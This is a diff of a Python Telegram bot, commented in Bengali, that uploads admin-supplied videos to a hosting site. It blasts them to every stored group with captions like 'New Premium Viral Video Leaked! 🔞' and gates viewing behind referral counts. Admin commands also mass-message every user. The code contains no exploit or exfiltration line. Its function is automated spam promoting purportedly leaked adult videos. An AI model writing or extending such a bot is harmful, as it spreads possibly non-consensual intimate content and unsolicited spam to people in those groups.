+ file_status = upload_res['files'][0].get('status', '')
427
+ if "not allowed" in str(file_status).lower():
428
+ await status_msg.edit_text(f"❌ byse.sx ফাইল রিজেক্ট করেছে: <code>{file_status}</code>", parse_mode=enums.ParseMode.HTML)
429
+ return
430
+ if file_code:
431
+ embed_link = f"https://bysesayeveum.com/e/{file_code}"
432
+
433
+ if not embed_link:
434
+ await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
435
+ return
436
+
437
+ # ---------------- 4. SEND TO ADMIN (AND SKIP BROADCAST FOR LARGE VIDEOS) ----------------
438
+ if is_large_video:
439
+ admin_cap = (
440
+ f"✅ <b>সফল! (বড় ভিডিও)</b>\n\n"
441
+ f"🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n"
442
+ f"📌 <i>ভিডিওটি অনেক বড় হওয়ায় গ্রুপে ব্রডকাস্ট স্কিপ করা হয়েছে। আপনি চাইলে লিংকটি দিয়ে নিজেই Web App এ ভিডিও অ্যাড করতে পারবেন।</i>"
443
+ )
444
+ # সেন্ড অরিজিনাল ভিডিও ফাইল টু এডমিন
445
+ await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
446
+ await status_msg.delete()
447
+ return
448
+
449
+ # ---------------- 5. BROADCAST CAPTION SETUP & SEND ----------------
450
+ await status_msg.edit_text("⏳ গ্রুপে পাঠানোর প্রস্তুতি চলছে...")
451
+
452
+ if media_type == "video":
453
+ if is_blur:
454
+ caption_text = (
455
+ f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n"
456
+ f"🎬 <b>Watch HD Video Here:</b>\n"
457
+ f"👉 <b><a href='{embed_link}'>▶️ Click Here to Watch HD</a></b>\n\n"
458
+ f"🤖 <b><a href='{bot_link}'>Open Bot for More Videos!</a></b>\n"
459
+ f"👇 <i>Click the button below to open Bot!</i>"
460
+ )
461
+ else:
462
+ caption_text = (
463
+ f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n"
464
+ f"🎬 <b>Watch Full Video Here:</b>\n"
465
+ f"👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n"
466
+ f"👇 <i>Click the button below to open Bot!</i>"
467
+ )
468
+ else:
469
+ if clean_caption:
470
+ caption_text = f"{clean_caption}\n\n👇 <i>Click the button below to open Bot!</i>"
471
+ else:
472
+ caption_text = (
473
+ f"🔥 <b>New Premium Viral Content!</b> 🔞\n\n"
474
+ f"🎬 <b>Watch HD Video Here:</b>\n"
475
+ f"👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n"
476
+ f"👇 <i>Click the button below to open Bot!</i>"
477
+ )
478
+
479
+ group_markup = InlineKeyboardMarkup([
480
+ [InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]
481
+ ])
482
+
483
+ admin_cap = f"✅ <b>সফল!</b> মিডিয়াটি এখন গ্রুপগুলোতে পাঠানো হচ্ছে...\n\n🔗 <b>Embed Link (আপনার জন্য):</b>\n<code>{embed_link or 'N/A'}</code>"
484
+ thumb_path = None
485
+
486
+ if media_type == "video":
487
+ v_duration = message.video.duration if message.video else 0
488
+ v_width = message.video.width if message.video else 0
489
+ v_height = message.video.height if message.video else 0
490
+
491
+ thumb_path = f"{original_file}_thumb.jpg"
492
+ cmd_thumb = ["ffmpeg", "-y", "-i", final_file, "-vframes", "1", thumb_path]
493
+ proc = await asyncio.create_subprocess_exec(*cmd_thumb, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
494
+ await proc.communicate()
495
+ if not os.path.exists(thumb_path):
496
+ thumb_path = None
497
+
498
+ if media_type == "photo":
499
+ sent_to_admin = await client.send_photo(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
500
+ tg_file_id = sent_to_admin.photo.file_id
501
+ elif media_type == "animation":
502
+ sent_to_admin = await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
503
+ tg_file_id = sent_to_admin.animation.file_id
504
+ else:
505
+ sent_to_admin = await client.send_video(
506
+ message.chat.id,
507
+ final_file,
508
+ caption=admin_cap,
509
+ parse_mode=enums.ParseMode.HTML,
510
+ duration=v_duration,
511
+ width=v_width,
512
+ height=v_height,
513
+ thumb=thumb_path
514
+ )
515
+ tg_file_id = sent_to_admin.video.file_id
516
+
517
+ await status_msg.delete()
518
+
519
+ groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
520
+ group_ids = [g['group_id'] for g in groups_res.data]
521
+ success_count, fail_count = 0, 0
522
+
523
+ for gid in set(group_ids):
524
+ try:
525
+ if media_type == "photo":
526
+ await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
527
+ elif media_type == "animation":
528
+ await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
529
+ else:
530
+ await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
531
+ success_count += 1
532
+ await asyncio.sleep(1.5)
533
+ except Exception:
534
+ fail_count += 1
535
+
536
+ await message.reply(f"📢 <b>ব্রডকাস্ট সম্পন্ন!</b>\n\n✅ সফল: {success_count} টি গ্রুপে\n❌ ব্যর্থ (রিমুভড): {fail_count} টি গ্রুপে", parse_mode=enums.ParseMode.HTML)
537
+
538
+ except Exception as e:
539
+ await message.reply(f"⚠️ এরর হয়েছে: {str(e)}")
540
+ finally:
541
+ thumb_file = f"{original_file}_thumb.jpg" if original_file else None
542
+ for f in [original_file, watermarked_file, blurred_file, thumb_file]:
543
+ if f and os.path.exists(f):
544
+ try: os.remove(f)
545
+ except: pass
546
+
547
+
548
+ # ================= ADMIN COMMANDS =================
549
+ @bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
550
+ async def bot_stats(client, message):
551
+ try:
552
+ users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
553
+ videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
554
+ groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
555
+ stat_msg = f"📊 <b>বটের বর্তমান স্ট্যাটাস:</b>\n\n👥 মোট ইউজার: <code>{users.count or 0}</code> জন\n🎬 মোট ভিডিও: <code>{videos.count or 0}</code> টি\n📢 মোট গ্রুপ: <code>{groups.count or 0}</code> টি"
556
+ await message.reply(stat_msg, parse_mode=enums.ParseMode.HTML)
557
+ except Exception as e: print(e)
558
+
559
+ @bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
560
+ async def broadcast_command(client, message):
561
+ admin_states[message.chat.id] = {"step": "broadcast"}
562
+ await message.reply("📢 সবার কাছে যা পাঠাতে চান দিন। (বাতিল করতে /cancel)")
563
+
564
+ async def process_broadcast(client, message):
565
+ text = message.text or message.caption
566
+ if text == '/cancel':
567
+ admin_states.pop(message.chat.id, None)
568
+ await message.reply("❌ বাতিল করা হয়েছে।")
569
+ return
570
+
571
+ await message.reply("⏳ ব্রডকাস্ট শুরু হয়েছে...")
572
+ admin_states.pop(message.chat.id, None)
573
+
574
+ try:
575
+ all_users = []
576
+ start = 0
577
+ step = 1000
578
+ while True:
579
+ res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
580
+ if not res.data:
581
+ break
582
+ all_users.extend(res.data)
583
+ start += step
584
+
585
+ success, failed = 0, 0
586
+ for u in all_users:
587
+ try:
588
+ await message.copy(chat_id=u['user_id'])
589
+ success += 1
590
+ await asyncio.sleep(0.15)
591
+ except Exception:
592
+ failed += 1
593
+
594
+ await message.reply(f"✅ ব্রডকাস্ট সম্পন্ন!\nসফল: {success}\nব্যর্থ: {failed}")
595
+ except Exception as e: print(e)
596
+
597
+ @bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
598
+ async def add_png(client, message):
599
+ try:
600
+ parts = message.command
601
+ needed_ref = 3
602
+ duration = "random"
603
+ if len(parts) == 4 and parts[1].isdigit():
604
+ needed_ref = int(parts[1]); duration = parts[2]; thumbnail_url = parts[3]
605
+ elif len(parts) == 3 and parts[1].isdigit():
606
+ needed_ref = int(parts[1]); thumbnail_url = parts[2]
607
+ elif len(parts) == 2: thumbnail_url = parts[1]
608
+ else:
609
+ await message.reply("❌ নিয়ম ভুল।")
610
+ return
611
+
612
+ packed_thumb = f"{thumbnail_url}||{duration}"
613
+ admin_states[message.chat.id] = {"step": 1, "thumbnail_url": packed_thumb, "needed_ref": needed_ref}
614
+ await message.reply("✅ এখন Video/Embed Link দিন।")
615
+ except Exception as e: print(e)
616
+
617
+ @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur"]))
618
+ async def catch_admin_steps(client, message):
619
  state = admin_states.get(message.chat.id, {})
620
+
621
  if state.get("step") == 1:
622
+ if not message.text: return
623
+ video_url = message.text.strip()
624
+
625
+ if video_url == "/cancel":
626
+ admin_states.pop(message.chat.id, None)
627
+ await message.reply("❌ বাতিল করা হয়েছে।")
628
+ return
629
+
630
+ thumb_url = state["thumbnail_url"]
631
+ needed_ref = state["needed_ref"]
632
+
633
+ try:
634
+ await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": thumb_url, "needed_ref": needed_ref}).execute())
635
+ await message.reply("🎉 ভিডিও সফলভাবে অ্যাড হয়েছে!")
636
+ except Exception as e: print(e)
637
+ finally: admin_states.pop(message.chat.id, None)
638
+
639
+ elif state.get("step") == "broadcast":
640
+ await process_broadcast(client, message)
641
 
642
  # ================= RUNNER =================
643
  def run_flask():
644
+ # ফ্লাস্ক ব্যাকগ্রাউন্ড থ্রেডে চলবে
645
+ app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)))
646
 
647
  async def main():
648
+ # পাইরোগ্রাম মেইন ইভেন্ট লুপে চলবে
649
  await bot.start()
650
+ print("🤖 Pyrogram Bot & Real Session Generator is running!")
651
  await idle()
652
+ await bot.stop()
653
 
654
  if __name__ == "__main__":
655
+ # ফ্লাস্ক API থ্রেড চালু করা হলো
656
  threading.Thread(target=run_flask, daemon=True).start()
657
+
658
+ # টেলিগ্রাম বট লুপ চালু করা হলো
659
+ main_loop.run_until_complete(main())